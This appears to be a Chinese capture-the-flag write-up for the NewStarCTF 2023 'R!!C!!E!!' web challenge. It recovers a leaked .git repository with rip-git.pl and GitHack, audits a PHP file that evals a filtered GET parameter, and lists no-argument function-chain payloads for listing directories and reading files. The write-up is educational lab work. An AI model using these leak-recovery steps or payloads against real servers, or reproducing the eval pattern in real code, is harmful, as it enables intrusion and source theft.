NewStarCTF2023week2-R!!C!!E!!

打开链接,内容提示是信息泄露

查看源代码没有任何有用信息

打算先扫一下它的目录,发现扫不了

429 表示在一定的时间内用户发送了太多的请求,即超出了频次限制

那么关于信息泄露,我们收集信息有哪些思路方向呢?

1、robots协议

2、phpinfo文件

3、网站备份文件

4、源码泄露,常见的有:HG泄露;git泄露;DS_Store泄露

由于无法进行目录扫描,这里只能手动尝试:

1、手动测试一下是否存在robots.txt,没有找到

2、使用Wappalyzer看一下网站采用的平台架构、网站环境、服务器配置环境、javascript框架、编程语言等信息,是php语言,那么我们尝试访问是否存在phpinfo.php,也没有

3、常见的备份文件后缀:.rar;.zip;.7z;.tar.gz;.bak;.txt;.old;.temp;.phps;.swp

常见文件名:web;website;backup;back;www;wwwroot;temp;index

我之前遇到过的是index.php的备份文件,但是这里我们无法目录扫描,也不知道文件名,就算确实存在,可能的情况也太多,所以先跳过。

4、有一个叫dvcs-ripper 的工具可以处理很多类型的源码泄露

我们可以先简单测试一下,确定是哪个类型:

.hg没有

.DS_Store也没有

.git有,403禁止,也就是说我们没有权限,但是它确实存在这么一个文件

使用命令:

php 复制代码
./rip-git.pl -v -u http://31c01667-ebfb-40d0-8a73-62b25e5f4ce1.node4.buuoj.cn:81/.git

我那个git的指针好像存在问题,不知道有没有影响

很奇怪这里下载下来的index是个文件而不是文件夹,cat出来的内容有东西但是存在乱码

这应该就是一个文件夹,里面包含了三个文件,但是我不知道怎么给它还原

因为是git泄露,我们也可以使用Githack来获取文件源码信息

先移动到githack.py所在目录,使用python来运行该脚本,后面接url

复制代码
python githack.py http://31c01667-ebfb-40d0-8a73-62b25e5f4ce1.node4.buuoj.cn:81/.git/

查看下载的文件

php 复制代码
<?php
highlight_file(__FILE__);
if (';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['star'])) {
    if(!preg_match('/high|get_defined_vars|scandir|var_dump|read|file|php|curent|end/i',$_GET['star'])){
        eval($_GET['star']);
    }
}

代码审计:

使用get请求给star传参;

preg_replace 函数:执行一个正则表达式的搜索和替换,\w表示非单词字符,单词字符包括:a-z、A-Z、0-9,以及下划线,加上取非^就成了匹配所有的单词字符,+表示可以进行多个匹配,还匹配了左括号和右括号 ,((?R)?)是正则表达式的一个递归子模式,将匹配到的东西替换为空,然后判断替换后内容是否等于分号;

再使用preg_match函数进行正则匹配,过滤掉了一些敏感的函数和关键字;

如果满足条件,则会调用eval函数,执行传入的内容。

注意:这里第一个匹配替换再进行比较的限制,并不是过滤掉了这些哦,而是让我们只能用这些字符,即所有单词字符、括号和分号,因为只有这样,替换之后才只剩下分号,才能与左边相等,使if语句成立,才会继续执行后面的代码。

此外,这里的代码是bo0g1pop.php的,所以我们的get请求也应该针对这个文件来发起请求。

这里没有过滤掉current,出题人过滤的是curent

列一下目录:

php 复制代码
?star=print_r(glob(dirname(chdir(dirname(getcwd())))));
php 复制代码
?star=
print_r(glob(dirname(chdir(dirname(current(localeconv()))))));

我不知道为什么这里只有一个点。。。就算没有子文件应该也有父目录

尝试读取文件:

php 复制代码
?star=show_source(next(array_reverse(glob(dirname(chdir(dirname(getcwd())))))));

说明返回了空

在网上找到了其他做法,但是绕过的方法目前还没想到,有大佬绕过成功了的话可以分享一下

相关推荐
BingoGo1 天前
当你的 PHP 应用的 API 没有限流时会发生什么?
后端·php
JaguarJack1 天前
当你的 PHP 应用的 API 没有限流时会发生什么?
后端·php·服务端
BingoGo2 天前
OpenSwoole 26.2.0 发布:支持 PHP 8.5、io_uring 后端及协程调试改进
后端·php
JaguarJack2 天前
OpenSwoole 26.2.0 发布:支持 PHP 8.5、io_uring 后端及协程调试改进
后端·php·服务端
vibecoding日记3 天前
为什么我就想要「线性历史 + Signed Commits」,GitHub 却把我当猴耍 🤬🎙️
git·编程工具
JaguarJack3 天前
推荐 PHP 属性(Attributes) 简洁读取 API 扩展包
后端·php·服务端
BingoGo3 天前
推荐 PHP 属性(Attributes) 简洁读取 API 扩展包
php
程序员小崔日记3 天前
如何将代码轻松上传到 Gitee?Git 使用全攻略!
git·gitee·上传
Bigger4 天前
为什么你的 Git 提交需要签名?—— Git Commit Signing 完全指南
git·开源·github